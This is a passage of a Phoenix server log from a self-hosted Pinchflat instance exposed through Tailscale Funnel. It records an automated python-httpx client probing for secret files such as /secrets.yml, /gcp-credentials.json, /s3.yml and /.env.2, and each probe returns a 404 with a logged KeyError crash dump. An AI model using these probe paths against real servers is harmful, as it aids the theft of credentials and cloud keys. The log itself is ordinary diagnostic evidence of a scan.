0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 137, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 137, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12437.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1HzyOA56AVgAAKRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 14:08:13.645 [info] GET /gcp-credentials.json 14:08:13.646 [debug] QUERY OK source="settings" db=0.4ms idle=1084.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:13.647 [debug] QUERY OK source="settings" db=0.6ms idle=1083.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:13.647 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:13.648 [error] #PID<0.12438.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 138) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /gcp-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 138, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12438.0>, params: %{}, path_info: ["gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1KNidDALK8sAAKRR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 138, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 138, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12438.0>, params: %{}, path_info: ["gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1KNidDALK8sAAKRR"} ], scheme: :http, script_name: [], secret_key_base: :..., sta (truncated) 14:08:14.039 [info] GET /s3.yml 14:08:14.040 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1038.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:14.042 [debug] QUERY OK source="settings" db=1.2ms idle=1038.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:14.042 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:14.043 [error] #PID<0.12439.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 139) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /s3.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s3.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 139, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12439.0>, params: %{}, path_info: ["s3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/s3.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Lrsr9vb-zEAAKRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s3.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 139, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s3.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 139, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12439.0>, params: %{}, path_info: ["s3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/s3.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Lrsr9vb-zEAAKRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {Pin (truncated) 14:08:14.913 [info] GET /.env.2 14:08:14.915 [debug] QUERY OK source="settings" db=0.6ms idle=1268.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:14.916 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=1268.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:14.916 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:14.917 [error] #PID<0.12440.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 140) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.env.2 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.2", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 140, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12440.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.2", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1O8ENYZxv40AAKRx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.2", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 140, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.2", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 140, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12440.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.2", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1O8ENYZxv40AAKRx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 14:08:15.440 [info] GET /testphp.php 14:08:15.441 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=525.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:15.442 [debug] QUERY OK source="settings" db=0.5ms idle=525.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:15.443 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:15.444 [error] #PID<0.12441.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 141) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /testphp.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /testphp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/testphp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 141, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12441.0>, params: %{}, path_info: ["testphp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/testphp.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Q5gtYOwmmYAAKSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/testphp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 